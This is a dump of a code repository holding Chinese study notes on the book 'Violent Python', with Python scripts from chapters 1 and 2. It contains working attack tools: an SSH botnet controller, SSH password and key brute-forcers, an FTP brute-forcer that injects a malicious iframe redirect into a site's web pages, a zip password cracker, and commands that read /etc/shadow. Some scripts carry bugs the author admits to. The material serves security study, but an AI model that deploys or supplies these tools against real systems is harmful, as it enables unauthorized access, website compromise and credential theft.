├── .gitignore
├── .idea
├── dictionaries
│ └── L1n.xml
├── misc.xml
├── modules.xml
├── vcs.xml
└── violent-python.iml
├── README.md
├── SUMMARY.md
├── python_script
└── unit_2
│ ├── create_ssh_utm.py
│ ├── ftp_hack.py
│ ├── is_ftp_allow_anonymous.py
│ ├── nmap_scan.py
│ ├── port_scanner.py
│ ├── ssh_brute_force.py
│ ├── ssh_connect.py
│ └── test_weak_ssh.py
├── 第1章入门.md
├── 第2章用Python进行渗透测试.md
├── 第3章用Python进行取证调查.md
├── 第4章用Python分析网络流量.md
├── 第5章用Python进行无线网络攻击.md
├── 第6章用Python刺探网络.md
└── 第7章用Python实现免杀.md
/.gitignore:
--------------------------------------------------------------------------------
1 | # Node rules:
2 | ## Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files)
3 | .grunt
4 |
5 | ## Dependency directory
6 | ## Commenting this out is preferred by some people, see
7 | ## https://docs.npmjs.com/misc/faq#should-i-check-my-node_modules-folder-into-git
8 | node_modules
9 |
10 | # Book build output
11 | _book
12 |
13 | # eBook build output
14 | *.epub
15 | *.mobi
16 | *.pdf
--------------------------------------------------------------------------------
/.idea/dictionaries/L1n.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | nmap
5 |
6 |
7 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.idea/violent-python.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # 使用 Python 成为顶级黑客
2 |
3 | 这是阅读 使用 Python 成为顶级黑客" 这本书时做的笔记
4 |
5 | 已经做成 [GitBook 形式](https://l1nwatch.gitbooks.io/violent-python/content/)
6 |
--------------------------------------------------------------------------------
/SUMMARY.md:
--------------------------------------------------------------------------------
1 | # Summary
2 |
3 | * [第 1 章 入门](第1章入门.md)
4 | * [第 2 章 用 Python 进行渗透测试](第2章用Python进行渗透测试.md)
5 | * [第 3 章 用 Python 进行取证调查](第3章用Python进行取证调查.md)
6 | * [第 4 章 用 Python 分析网络流量](第4章用Python分析网络流量.md)
7 | * [第 5 章 用 Python 进行无线网络攻击](第5章用Python进行无线网络攻击.md)
8 | * [第 6 章 用 Python 刺探网络](第6章用Python刺探网络.md)
9 | * [第 7 章 用 Python 实现免杀](第7章用Python实现免杀.md)
10 |
--------------------------------------------------------------------------------
/python_script/unit_2/create_ssh_utm.py:
--------------------------------------------------------------------------------
1 | #!/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # version: Python3.X
4 | """
5 | 2017.02.01 按照书里给的代码, 依旧跑不了, 因为是 ssh 的...
6 | """
7 | import optparse
8 | import pexpect.pxssh as pxssh
9 |
10 | __author__ = '__L1n__w@tch'
11 |
12 | bot_net = list()
13 |
14 |
15 | class Client:
16 | def __init__(self, host, user, password):
17 | self.host = host
18 | self.user = user
19 | self.password = password
20 | self.session = self.connect()
21 |
22 | def connect(self):
23 | try:
24 | s = pxssh.pxssh()
25 | s.login(self.host, self.user, self.password)
26 | return s
27 | except Exception as e:
28 | print(e)
29 | print("[-] Error Connecting")
30 |
31 | def send_command(self, cmd):
32 | self.session.sendline(cmd)
33 | self.session.prompt()
34 | return self.session.before
35 |
36 |
37 | def bot_net_command(command):
38 | for client in bot_net:
39 | output = client.send_command(command)
40 | print("[*] Output from {}".format(client.host))
41 | print("[+] {}".format(output))
42 |
43 |
44 | def add_client(host, user, password):
45 | client = Client(host, user, password)
46 | bot_net.append(client)
47 |
48 |
49 | if __name__ == "__main__":
50 | add_client("10.10.10.110", "root", "toor")
51 | add_client("10.10.10.120", "root", "toor")
52 | add_client("10.10.10.130", "root", "toor")
53 | bot_net_command("uname -v")
54 | bot_net_command("cat /etc/issue")
55 |
--------------------------------------------------------------------------------
/python_script/unit_2/ftp_hack.py:
--------------------------------------------------------------------------------
1 | #!/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # version: Python3.X
4 | """
5 | 2017.02.02 整一遍 FTP 流程
6 | """
7 | import ftplib
8 | import optparse
9 | import time
10 |
11 | __author__ = '__L1n__w@tch'
12 |
13 |
14 | def anon_login(hostname):
15 | try:
16 | ftp = ftplib.FTP(hostname)
17 | ftp.login("anonymous", "me@your.com")
18 | print("[*] {} FTP Anonymous Logon Succeeded.".format(hostname))
19 | ftp.quit()
20 | return True
21 | except Exception as e:
22 | print("[-] {} FTP Anonymous Logon Failed.".format(hostname))
23 | return False
24 |
25 |
26 | def brute_login(hostname, password_file):
27 | pf = open(password_file, "r")
28 | for line in pf.readlines():
29 | time.sleep(1)
30 | user_name = line.split(":")[0]
31 | password = line.split(":")[1].strip("\r\n")
32 | print("[+] Trying: {}/{}".format(user_name, password))
33 |
34 | try:
35 | ftp = ftplib.FTP(hostname)
36 | ftp.login(user_name, password)
37 | print("[*] {} FTP Logon Succeeded: {}/{}".format(hostname, user_name, password))
38 | ftp.quit()
39 | return user_name, password
40 | except Exception as e:
41 | pass
42 | print("[-] Could not brute force FTP credentials.")
43 | return None, None
44 |
45 |
46 | def return_default(ftp):
47 | dir_list = list()
48 | try:
49 | dir_list = ftp.nlst()
50 | except:
51 | print("[-] Could not list directory contents.")
52 | print("[-] Skipping To Next Target.")
53 | return dir_list
54 |
55 | ret_list = list()
56 | for file_name in dir_list:
57 | fn = file_name.lower()
58 | if ".php" in fn or ".htm" in fn or ".asp" in fn:
59 | print("[+] Found default page: {}".format(file_name))
60 | ret_list.append(file_name)
61 |
62 | return ret_list
63 |
64 |
65 | def inject_page(ftp, page, redirect):
66 | f = open("{}.tmp".format(page), "w")
67 | ftp.retrlines("RETR {}".format(page), f.write)
68 | print("[+] Downloaded Page: {}".format(page))
69 | f.write(redirect)
70 | f.close()
71 |
72 | print("[+] Injected Malicious IFrame on: {}".format(page))
73 | ftp.storlines("STOR {}".format(page), open("{}.tmp".format(page)))
74 | print("[+] Uploaded Injected Page: {}".format(page))
75 |
76 |
77 | def attack(username, password, target_host, redirect):
78 | ftp = ftplib.FTP(target_host)
79 | ftp.login(username, password)
80 | def_pages = return_default(ftp)
81 | for def_page in def_pages:
82 | inject_page(ftp, def_page, redirect)
83 |
84 |
85 | def main():
86 | parser = optparse.OptionParser("usage%prog -H -r [-f ]")
87 |
88 | parser.add_option("-H", dest="target_hosts", type=str, help="specify target host")
89 | parser.add_option("-f", dest="password_file", type=str, help="specify user/password file")
90 | parser.add_option("-r", dest="redirect", type=str, help="specify a redirection page")
91 |
92 | options, args = parser.parse_args()
93 | target_hosts = str(options.target_hosts).split(", ")
94 | password_file = options.password_file
95 | redirect = options.redirect
96 |
97 | if target_hosts is None or redirect is None:
98 | print(parser.usage)
99 | exit(-1)
100 |
101 | for target_host in target_hosts:
102 | username, password = None, None
103 | if anon_login(target_host):
104 | username, password = "test", "test"
105 | print("[+] Using Anonymous Creds to attack")
106 | attack(username, password, target_host, redirect)
107 | elif password_file is not None:
108 | username, password = brute_login(target_host, password_file)
109 | if password is not None:
110 | print("[+] Using Creds: {}/{} to attack".format(username, password))
111 | attack(username, password, target_host, redirect)
112 |
113 |
114 | if __name__ == "__main__":
115 | main()
116 |
--------------------------------------------------------------------------------
/python_script/unit_2/is_ftp_allow_anonymous.py:
--------------------------------------------------------------------------------
1 | #!/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # version: Python3.X
4 | """
5 | 2017.02.02 判断一个 FTP 服务器是否允许匿名访问
6 | """
7 | import ftplib
8 |
9 | __author__ = '__L1n__w@tch'
10 |
11 |
12 | def anon_login(hostname):
13 | try:
14 | ftp = ftplib.FTP(hostname)
15 | ftp.login("test", "test")
16 | print("[*] {} FTP Anonymous Logon Succeeded.".format(host))
17 | ftp.quit()
18 | return True
19 | except Exception as e:
20 | print("[-] {} FTP Anonymous Logon Failed.".format(host))
21 | return False
22 |
23 |
24 | def return_default(ftp):
25 | dir_list = list()
26 |
27 | try:
28 | dir_list = ftp.nlst()
29 | except Exception as e:
30 | print(e)
31 | print("[-] Could not list directory contents.")
32 | print("[-] Skipping To Next Target.")
33 | return
34 |
35 | ret_list = list()
36 | for file_name in dir_list:
37 | fn = file_name.lower()
38 | if ".php" in fn or ".htm" in fn or ".asp" in fn:
39 | print("[+] Found default page: {}".format(file_name))
40 | ret_list.append(file_name)
41 | return ret_list
42 |
43 |
44 | if __name__ == "__main__":
45 | host = "192.168.158.161"
46 | anon_login(host)
47 |
48 | test_ftp = ftplib.FTP(host)
49 | test_ftp.login("test", "test")
50 | return_default(test_ftp)
51 | test_ftp.close()
52 |
--------------------------------------------------------------------------------
/python_script/unit_2/nmap_scan.py:
--------------------------------------------------------------------------------
1 | #!/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # version: Python3.X
4 | """
5 | 2017.01.31 按照书中给的代码示例, 使用 nmap 进行扫描操作
6 | """
7 | import nmap
8 | import optparse
9 |
10 | __author__ = '__L1n__w@tch'
11 |
12 |
13 | def nmap_scan(target_host, target_port):
14 | nm_scan = nmap.PortScanner()
15 | nm_scan.scan(target_host, target_port)
16 | state = nm_scan[target_host]["tcp"][int(target_port)]["state"]
17 | print("[*] {} tcp/{} {}".format(target_host, target_port, state))
18 |
19 |
20 | def main():
21 | parser = optparse.OptionParser("usage %prog -H -p ")
22 |
23 | parser.add_option("-H", dest="target_host", type=str, help="specify target host")
24 | parser.add_option("-p", dest="target_port", type=str, help="specify target port[s] separated by comma")
25 |
26 | options, args = parser.parse_args()
27 |
28 | target_host = options.target_host
29 | target_ports = str(options.target_port).split(", ")
30 |
31 | if target_host is None or target_ports is None:
32 | print(parser.usage)
33 | exit(-1)
34 |
35 | for target_port in target_ports:
36 | nmap_scan(target_host, target_port)
37 |
38 |
39 | if __name__ == "__main__":
40 | main()
41 |
--------------------------------------------------------------------------------
/python_script/unit_2/port_scanner.py:
--------------------------------------------------------------------------------
1 | #!/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # version: Python3.X
4 | """
5 | 2017.01.29 按照第 2 章编写一个端口扫描器
6 | """
7 | import optparse
8 | import socket
9 |
10 | __author__ = '__L1n__w@tch'
11 |
12 |
13 | def initialize():
14 | parser = optparse.OptionParser("usage %prog -H -p ")
15 |
16 | parser.add_option("-H", dest="target_host", type=str, help="specify target host")
17 | parser.add_option("-p", dest="target_port", type=int, help="specify target port")
18 |
19 | options, args = parser.parse_args()
20 |
21 | target_host = options.target_host
22 | target_port = options.target_port
23 |
24 | if target_host is None or target_port is None:
25 | print(parser.usage)
26 | exit(-1)
27 |
28 | return target_host, target_port
29 |
30 |
31 | def connect_scan(target_host, target_port):
32 | """
33 | TCP 全连接扫描
34 | :param target_host: 目标主机
35 | :param target_port: 目标端口
36 | :return:
37 | """
38 | try:
39 | conn_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
40 | conn_sock.connect((target_host, target_port))
41 | print("[+] {}/tcp open".format(target_port))
42 |
43 | conn_sock.send(b"Violent Python")
44 | results = conn_sock.recv(1024)
45 | print("[+] Get Response: {}".format(results))
46 | conn_sock.close()
47 | except socket.timeout:
48 | print("[-] {}/tcp closed or No Response".format(target_port))
49 |
50 |
51 | def port_scan(target_host, target_ports):
52 | """
53 | 执行端口扫描操作
54 | :param target_host: 目标主机
55 | :param target_ports: 目标端口列表
56 | :return:
57 | """
58 | try:
59 | target_ip = socket.gethostbyname(target_host)
60 | except RuntimeError:
61 | print("[-] Can not resolve {}: Unknown host".format(target_host))
62 | return
63 |
64 | try:
65 | target_name = socket.gethostbyaddr(target_ip)
66 | print("[+] Scan results for {}".format(target_name[0]))
67 | except RuntimeError:
68 | print("[+] Scan Results for {}".format(target_ip))
69 |
70 | socket.setdefaulttimeout(1)
71 |
72 | for target_port in target_ports:
73 | print("[*] Scanning port {}".format(target_port))
74 | connect_scan(target_host, target_port)
75 |
76 |
77 | if __name__ == "__main__":
78 | host, port = initialize()
79 | port_scan(host, [port])
80 |
--------------------------------------------------------------------------------
/python_script/unit_2/ssh_brute_force.py:
--------------------------------------------------------------------------------
1 | #!/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # version: Python3.X
4 | """
5 | 2017.01.31 ssh 爆破, 要使用到 pxssh 库, 但是没找到啊, 发现是藏在 pexpect 库里了, 依旧是连接不上
6 | """
7 | import pexpect.pxssh as pxssh
8 | import optparse
9 | import time
10 | import threading
11 |
12 | __author__ = '__L1n__w@tch'
13 |
14 | max_connections = 5
15 | connection_lock = threading.BoundedSemaphore(value=max_connections)
16 | found = False
17 | fails = 0
18 |
19 |
20 | def connect(host, user, password, release):
21 | global found, fails
22 | try:
23 | s = pxssh.pxssh()
24 | s.login(host, user, password)
25 | print("[+] Password Found: {}".format(password))
26 | found = True
27 | except Exception as e:
28 | if "read_nonblocking" in str(e):
29 | fails += 1
30 | time.sleep(5)
31 | connect(host, user, password, False)
32 | elif "synchronize with original prompt" in str(e):
33 | time.sleep(1)
34 | connect(host, user, password, False)
35 | finally:
36 | if release:
37 | connection_lock.release()
38 |
39 |
40 | def main():
41 | parser = optparse.OptionParser("usage %prog -H -u -F ")
42 | parser.add_option("-H", dest="target_host", type=str, help="specifiy target host")
43 | parser.add_option("-F", dest="password_file", type=str, help="specifiy password file")
44 | parser.add_option("-u", dest="user", type=str, help="specifiy the user")
45 |
46 | options, args = parser.parse_args()
47 | target_host = options.target_host
48 | password_file = options.password_file
49 | user = options.user
50 |
51 | if target_host is None or password_file is None or user is None:
52 | print(parser.usage)
53 | exit(-1)
54 |
55 | with open(password_file, "r") as f:
56 | for line in f.readlines():
57 | if found:
58 | print("[*] Exiing: Password Found")
59 | exit(0)
60 | if fails > 5:
61 | print("[!] Exiting: Too Many Socket Timeouts")
62 | exit(-1)
63 | connection_lock.acquire()
64 | password = line.strip("\r\n")
65 | print("[-] Testing: {}".format(password))
66 | t = threading.Thread(target=connect, args=(host, user, password, True))
67 | child = t.start()
68 |
69 |
70 | if __name__ == "__main__":
71 | main()
72 |
--------------------------------------------------------------------------------
/python_script/unit_2/ssh_connect.py:
--------------------------------------------------------------------------------
1 | #!/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # version: Python3.X
4 | """
5 | 2017.01.31 进行 ssh 连接, [PS] 自己试了书中的代码没法成功连接上, 所以就仅供参考了
6 | """
7 | import pexpect
8 |
9 | __author__ = '__L1n__w@tch'
10 |
11 | PROMPT = ["# ", ">>> ", "> ", "\$ "]
12 |
13 |
14 | def send_command(child, cmd):
15 | child.sendline(cmd)
16 | child.expect(PROMPT)
17 | print(child.before)
18 |
19 |
20 | def connect(user, host, password):
21 | ssh_new_key = "Are you sure you want to continue connecting"
22 | conn_str = "ssh {}@{}".format(user, host)
23 | child = pexpect.spawn(conn_str)
24 | ret = child.expect(pexpect.EOF[pexpect.TIMEOUT, ssh_new_key, "{}@{}'s password:".format(user, host)])
25 |
26 | if ret == 0:
27 | print("[-] Error Connecting")
28 | exit(-1)
29 | elif ret == 1:
30 | child.sendline("yes")
31 | ret = child.expect([pexpect.TIMEOUT, "[P|p]assword:", pexpect.EOF])
32 | if ret == 0:
33 | print("[-] Error Connecting")
34 | exit(-1)
35 | child.sendline(password)
36 | child.expect(PROMPT)
37 | return child
38 | else:
39 | print(child)
40 | exit(-1)
41 |
42 |
43 | if __name__ == "__main__":
44 | child = connect("root", "192.168.158.157", "toor")
45 | send_command(child, "cat /etc/shadow | grep root")
46 |
--------------------------------------------------------------------------------
/python_script/unit_2/test_weak_ssh.py:
--------------------------------------------------------------------------------
1 | #!/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # version: Python3.X
4 | """
5 | 2017.01.31 测试弱密钥的, 虽然依旧是跑不了...
6 | """
7 | import pexpect
8 | import optparse
9 | import os
10 | import threading
11 |
12 | __author__ = '__L1n__w@tch'
13 |
14 | max_connections = 5
15 | connection_lock = threading.BoundedSemaphore(value=max_connections)
16 | stop = False
17 | fails = 0
18 |
19 |
20 | def connect(user, host, key_file, release):
21 | global stop, fails
22 | try:
23 | perm_denied = "Permission denied"
24 | ssh_new_key = "Are you sure you want to continue"
25 | conn_closed = "Connection closed by remote host"
26 |
27 | opt = " -o PasswordAuthentication=no"
28 | conn_str = "ssh {}@{} -i {}{}".format(user, host, key_file, opt)
29 | child = pexpect.spawn(conn_str)
30 | ret = child.expect([pexpect.TIMEOUT, perm_denied, ssh_new_key, conn_closed, "$", "#", ])
31 | if ret == 2:
32 | print("[-] Adding Host to !/.ssh/known_hosts")
33 | child.sendline("yes")
34 | connect(user, host, key_file, False)
35 | elif ret == 3:
36 | print("[-] Connection Closed By Remote Host")
37 | fails += 1
38 | elif ret > 3:
39 | print("[+] Success. {}".format(key_file))
40 | stop = True
41 | finally:
42 | if release:
43 | connection_lock.release()
44 |
45 |
46 | def main():
47 | parser = optparse.OptionParser("usage %prog -H -u -d ")
48 | parser.add_option("-H", dest="target_host", type=str, help="specify target host")
49 | parser.add_option("-d", dest="pass_dir", type=str, help="specify directory with keys")
50 | parser.add_option("-u", dest="user", type=str, help="specify the user")
51 |
52 | options, args = parser.parse_args()
53 | target_host = options.target_host
54 | pass_dir = options.pass_dir
55 | user = options.user
56 |
57 | if target_host is None or pass_dir is None or user is None:
58 | print(parser.usage)
59 | exit(-1)
60 |
61 | for file_name in os.listdir(pass_dir):
62 | if stop:
63 | print("[*] Exiting: Key Found.")
64 | exit(0)
65 | if fails > 5:
66 | print("[!] Exiting: Too Many Connections Closed By Remote Host.")
67 | print("[!] Adjust number of simultaneous threads.")
68 | exit(0)
69 | connection_lock.acquire()
70 |
71 | full_path = os.path.join(pass_dir, file_name)
72 | print("[-] Testing keyfile {}".format(full_path))
73 | t = threading.Thread(target=connect, args=(user, target_host, full_path, True))
74 | child = t.start()
75 |
76 |
77 | if __name__ == "__main__":
78 | main()
79 |
--------------------------------------------------------------------------------
/第1章入门.md:
--------------------------------------------------------------------------------
1 | # 第 1 章 入门
2 |
3 | ## 第一个程序: UNIX 口令破解机
4 |
5 | 需要使用 UNIX 计算口令 hash 的 crypt() 算法,可以看到 Python 标准库中已自带 crypt
6 |
7 | ```python
8 | import crypt
9 | crypt.crypt("egg", "HX") # => word, salt
10 | ```
11 |
12 | 在基于 `*Nix` 的现代操作系统中,`/etc/shadow` 文件中存储了口令的 hash,并能使用更多安全的 hash 算法
13 |
14 | ## 第二个程序:一个 Zip 文件口令破解机
15 |
16 | 需要学习 zipfile 库,其中有 `extractall()` 方法,用可选参数指定密码
17 |
18 | ```python
19 | import zipfile
20 | zFile = zipfile.ZipFile("evil.zip")
21 | zFile.extractall(pwd="secret")
22 | ```
23 |
24 | 如果用错误的口令执行脚本,可以看到抛出异常了
25 |
26 | 可以利用线程同时测试多个口令,而不是只能逐个测试词库中的单词
27 |
28 | ```python
29 | import zipfile
30 | from threading import Thread
31 | def extractFile(zFile, password):
32 | try:
33 | zFile.extractall(pwd=password)
34 | print("[+] Found password {}".format(password))
35 | except:
36 | pass
37 |
38 | def main():
39 | zFile = zipfile.ZipFile("evil.zip")
40 | passFile = open("dictionary.txt")
41 | for line in passFile.readlines():
42 | password = line.strip("\n")
43 | t = Thread(target=extractFile, args=(zFile, password))
44 | t.start()
45 | ```
46 |
47 | 还可以用 optparse 库提供参数选择
48 |
49 | ```python
50 | import zipfile
51 | import optparse
52 | from threading import Thread
53 | def extractFile(zFile, password):
54 | try:
55 | zFile.extractall(pwd=password)
56 | print("[+] Found password {}".format(password))
57 | except:
58 | pass
59 |
60 | def main():
61 | parser = optparse.OptionParser("usage%prog -f -d ")
62 | parser.add_option("-f", dest="zname", type="string", help="specify zip file")
63 | parser.add_option("-d", dest="dname", type="string", help="specify dictionary file")
64 |
65 | (options, args) = parser.parse_args()
66 | if (options.zname == None) | (options.dname == None):
67 | print(parser.usage)
68 | exit(0)
69 | else:
70 | zname = options.zname
71 | dname = options.dname
72 |
73 | zFile = zipfile.ZipFile(zname)
74 | passFile = open(dname)
75 | for line in passFile.readlines():
76 | password = line.strip("\n")
77 | t = Thread(target=extractFile, args=(zFile, password))
78 | t.start()
79 | ```
80 |
81 |
--------------------------------------------------------------------------------
/第2章用Python进行渗透测试.md:
--------------------------------------------------------------------------------
1 | # 第 2 章 用 Python 进行渗透测试
2 |
3 | ## 编写一个端口扫描器
4 |
5 | Python 提供了访问 BSD 套接字的接口
6 |
7 | Web 服务器可能位于 TCP 80 端口、电子邮件服务器在 TCP 25 端口、FTP 服务器在 TCP 21 端口
8 |
9 | ### TCP 全连接扫描
10 |
11 | 为了抓取目标主机上应用的 Banner,找到开放的端口后,向它发送一个数据串并等待响应
12 |
13 | ```python
14 | #!/bin/env python3
15 | # -*- coding: utf-8 -*-
16 | # version: Python3.X
17 | """
18 | 2017.01.29 按照第 2 章编写一个端口扫描器
19 | """
20 | import optparse
21 | import socket
22 |
23 | __author__ = '__L1n__w@tch'
24 |
25 |
26 | def initialize():
27 | parser = optparse.OptionParser("usage %prog -H -p ")
28 |
29 | parser.add_option("-H", dest="target_host", type=str, help="specify target host")
30 | parser.add_option("-p", dest="target_port", type=int, help="specify target port")
31 |
32 | options, args = parser.parse_args()
33 |
34 | target_host = options.target_host
35 | target_port = options.target_port
36 |
37 | if target_host is None or target_port is None:
38 | print(parser.usage)
39 | exit(-1)
40 |
41 | return target_host, target_port
42 |
43 |
44 | def connect_scan(target_host, target_port):
45 | """
46 | TCP 全连接扫描
47 | :param target_host: 目标主机
48 | :param target_port: 目标端口
49 | :return:
50 | """
51 | try:
52 | conn_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
53 | conn_sock.connect((target_host, target_port))
54 | print("[+] {}/tcp open".format(target_port))
55 |
56 | conn_sock.send(b"Violent Python")
57 | results = conn_sock.recv(1024)
58 | print("[+] Get Response: {}".format(results))
59 | conn_sock.close()
60 | except socket.timeout:
61 | print("[-] {}/tcp closed".format(target_port))
62 |
63 |
64 | def port_scan(target_host, target_ports):
65 | """
66 | 执行端口扫描操作
67 | :param target_host: 目标主机
68 | :param target_ports: 目标端口列表
69 | :return:
70 | """
71 | try:
72 | target_ip = socket.gethostbyname(target_host)
73 | except RuntimeError:
74 | print("[-] Can not resolve {}: Unknown host".format(target_host))
75 | return
76 |
77 | try:
78 | target_name = socket.gethostbyaddr(target_ip)
79 | print("[+] Scan results for {}".format(target_name[0]))
80 | except RuntimeError:
81 | print("[+] Scan Results for {}".format(target_ip))
82 |
83 | socket.setdefaulttimeout(1)
84 |
85 | for target_port in target_ports:
86 | print("[*] Scanning port {}".format(target_port))
87 | connect_scan(target_host, target_port)
88 |
89 |
90 | if __name__ == "__main__":
91 | host, port = initialize()
92 | port_scan(host, [port])
93 |
94 | ```
95 |
96 | #### 线程扫描
97 |
98 | 多线程可以提升速度,但是有一个缺点,屏幕打印消息可能会出现乱码和失序。因此需要信号量来进行加解锁,在打印消息前使用 `acquire()`,打印结束后使用 `release()`
99 |
100 | ```python
101 | screen_lock = Semaphore(value=1)
102 | try:
103 | screen_lock.acquire()
104 | print("print anything")
105 | finally:
106 | screen_lock.release()
107 | ```
108 |
109 | #### 使用 NMAP 端口扫描代码
110 |
111 | 除了 TCP 连接扫描外,还需要其他类型的扫描,比如 ACK、RST、FIN 或 SYN-ACK 扫描等
112 |
113 | Fyodor Vaskovich 编写的 Nmap 能使用 C 和 Lua 编写的脚本,但是 Nmap 还能被很好地整合到 Python 中。Nmap 可以生成基于 XML 的输出。
114 |
115 | ##### 其他端口扫描类型
116 |
117 | * TCP SYN SCAN——半开放扫描,这种类型的扫描发送一个 SYN 包,启动一个 TCP 会话,并等待响应的数据包。如果收到的是一个 reset 包,表明端口是关闭的,而如果收到的是一个 SYN/ACK 包,则表示相应的端口是打开的
118 | * TCP NULL SCAN——NULL 扫描把 TCP 头中的所有标志位都设为 NULL。如果收到的是一个 RST 包,则表示相应的端口是关闭的
119 | * TCP FIN SCAN——TCP FIN 扫描发送一个表示拆除一个活动的 TCP 连接的 FIN 包,让对方关闭连接。如果收到了一个 RST 包,则表示相应的端口是关闭的
120 | * TCP XMAS SCAN——TCP XMAS 扫描发送 PSH、FIN、URG 和 TCP 标志位被设为 1 的数据包。如果收到了一个 RST 包,则表示相应的端口是关闭的
121 |
122 | ***
123 |
124 | 安装好 Python-Nmap 之后,就可以将 Nmap 导入到现有的脚本中,并在 Python 中直接使用 Nmap 扫描功能。创建一个 PortScanner() 类对象,则可以用这个对象完成扫描操作。PortScanner 类有一个 `scan()` 函数,它可将目标和端口的列表作为参数输入,并对它们进行基本的 Nmap 扫描。
125 |
126 | ```python
127 | import nmap
128 |
129 | def nmap_scan(target_host, target_port):
130 | nm_scan = nmap.PortScanner()
131 | nm_scan.scan(target_host, target_port)
132 | state = nm_scan[target_host]["tcp"][int(target_port)]["state"]
133 | print("[*] {} tcp/{} {}".format(target_host, target_port, state))
134 | ```
135 |
136 | ## 用 Python 构建一个 SSH 僵尸网络
137 |
138 | Morris 蠕虫有三种攻击方式,其中之一就是用常见的用户名和密码尝试登录 RSH 服务(remote shell)。RSH 是 1988 年问世的,它为系统管理员提供了一种很棒的远程连接一台机器,并能在主机上运行一系列终端命令对它进行管理的办法。
139 |
140 | 后来人们在 RSH 中增加一个公钥加密算法,以保护其经过网络传递的数据,这就是 SSH(Secure Shell)协议,最终 SSH 取代了 RSH。
141 |
142 | SSH 蠕虫已经被证明是非常成功的和常见的攻击方式
143 |
144 | ### 用 Pexpect 与 SSH 交互
145 |
146 | 为了能完成控制台交互过程,需要用 Pexpect 模块实现与程序交互、等待预期的屏幕输出等。
147 |
148 | 以下实现 `connect()` 函数,该函数接收用户名、主机名和密码,返回此 SSH 连接的结果。
149 |
150 | 一旦通过验证,就可以使用一个单独的 `command()` 函数在 SSH 会话中发送命令。
151 |
152 | 【PS】下面这个在 macOSX 上就没跑通过,相关问题[链接](http://stackoverflow.com/questions/17879585/eof-when-using-pexpect-and-pxssh)
153 |
154 | ```python
155 | import pexpect
156 |
157 | PROMPT = ["# ", ">>> ", "> ", "\$ "]
158 |
159 | def send_command(child, cmd):
160 | child.sendline(cmd)
161 | child.expect(PROMPT)
162 | print(child.before)
163 |
164 | def connect(user, host, password):
165 | ssh_new_key = "Are you sure you want to continue connecting\n"
166 | conn_str = "ssh {}@{}\n".format(user, host)
167 | child = pexpect.spawn(conn_str)
168 | ret = child.expect([pexpect.TIMEOUT, ssh_new_key, "{}@{}'s password:".format(user, host)])
169 |
170 | if ret == 0:
171 | print("[-] Error Connecting")
172 | exit(-1)
173 | elif ret == 1:
174 | child.sendline("yes")
175 | ret = child.expect([pexpect.TIMEOUT, "[P|p]assword:"])
176 | if ret == 0:
177 | print("[-] Error Connecting")
178 | exit(-1)
179 | child.sendline(password)
180 | child.expect(PROMPT)
181 | return child
182 | else:
183 | print(child)
184 | exit(-1)
185 |
186 | if __name__ == "__main__":
187 | child = connect("root", "192.168.158.157", "toor")
188 | send_command(child, "cat /etc/shadow | grep root")
189 | ```
190 |
191 | ### 用 Pxssh 暴力破解 ssh 密码
192 |
193 | Pxssh 导入方式:`import pexpect.pxssh`
194 |
195 | Pxssh 是一个包含了 `pexpect` 库的专用脚本,它能用预先写好的 `login()`、`logout()` 和 `prompt()` 等函数直接与 `SSH` 进行交互。
196 |
197 | 【PS】以下仅实现了连接功能,但是依旧连接不上,问题同上。
198 |
199 | ```python
200 | import pexpect.pxssh as pxssh
201 | import traceback
202 |
203 | def send_command(s, cmd):
204 | s.sendline(cmd)
205 | s.prompt()
206 | print(s.before)
207 |
208 | def connect(host, user, password):
209 | try:
210 | s = pxssh.pxssh()
211 | s.login(host, user, password)
212 | return s
213 | except Exception as e:
214 | traceback.print_exc()
215 | print("[-] Error Connecting")
216 | exit(-1)
217 |
218 | if __name__ == "__main__":
219 | ssh = connect("localhost", "root", "Lin982674")
220 | send_command(ssh, "cat /etc/shadow | grep root")
221 | ```
222 |
223 | 接下来稍微修改下 `connect()` 函数即可实现爆破。如果异常显示 socket 为 `read_nonblocking`,可能是 SSH 服务器被大量的连接刷爆了;如果该异常显示 `pxssh` 命令提示符提取困难,可以等一会再试。这里实现的 `connect()` 可以递归地调用另一个 `connect()` 函数,所以必须让只有不是由 `connect()` 递归调用的 `connect()` 函数才能够释放 `connection_lock` 信号,书中给的最终脚本如下:
224 |
225 | ```python
226 | import pexpect.pxssh as pxssh
227 | import optparse
228 | import time
229 | import threading
230 |
231 | max_connections = 5
232 | connection_lock = threading.BoundedSemaphore(value=max_connections)
233 | found = False
234 | fails = 0
235 |
236 | def connect(host, user, password, release):
237 | global found, fails
238 | try:
239 | s = pxssh.pxssh()
240 | s.login(host, user, password)
241 | print("[+] Password Found: {}".format(password))
242 | found = True
243 | except Exception as e:
244 | if "read_nonblocking" in str(e):
245 | fails += 1
246 | time.sleep(5)
247 | connect(host, user, password, False)
248 | elif "synchronize with original prompt" in str(e):
249 | time.sleep(1)
250 | connect(host, user, password, False)
251 | finally:
252 | if release:
253 | connection_lock.release()
254 |
255 | def main():
256 | parser = optparse.OptionParser("usage %prog -H -u -F ")
257 | parser.add_option("-H", dest="target_host", type=str, help="specifiy target host")
258 | parser.add_option("-F", dest="password_file", type=str, help="specifiy password file")
259 | parser.add_option("-u", dest="user", type=str, help="specifiy the user")
260 |
261 | options, args = parser.parse_args()
262 | target_host = options.target_host
263 | password_file = options.password_file
264 | user = options.user
265 |
266 | if target_host is None or password_file is None or user is None:
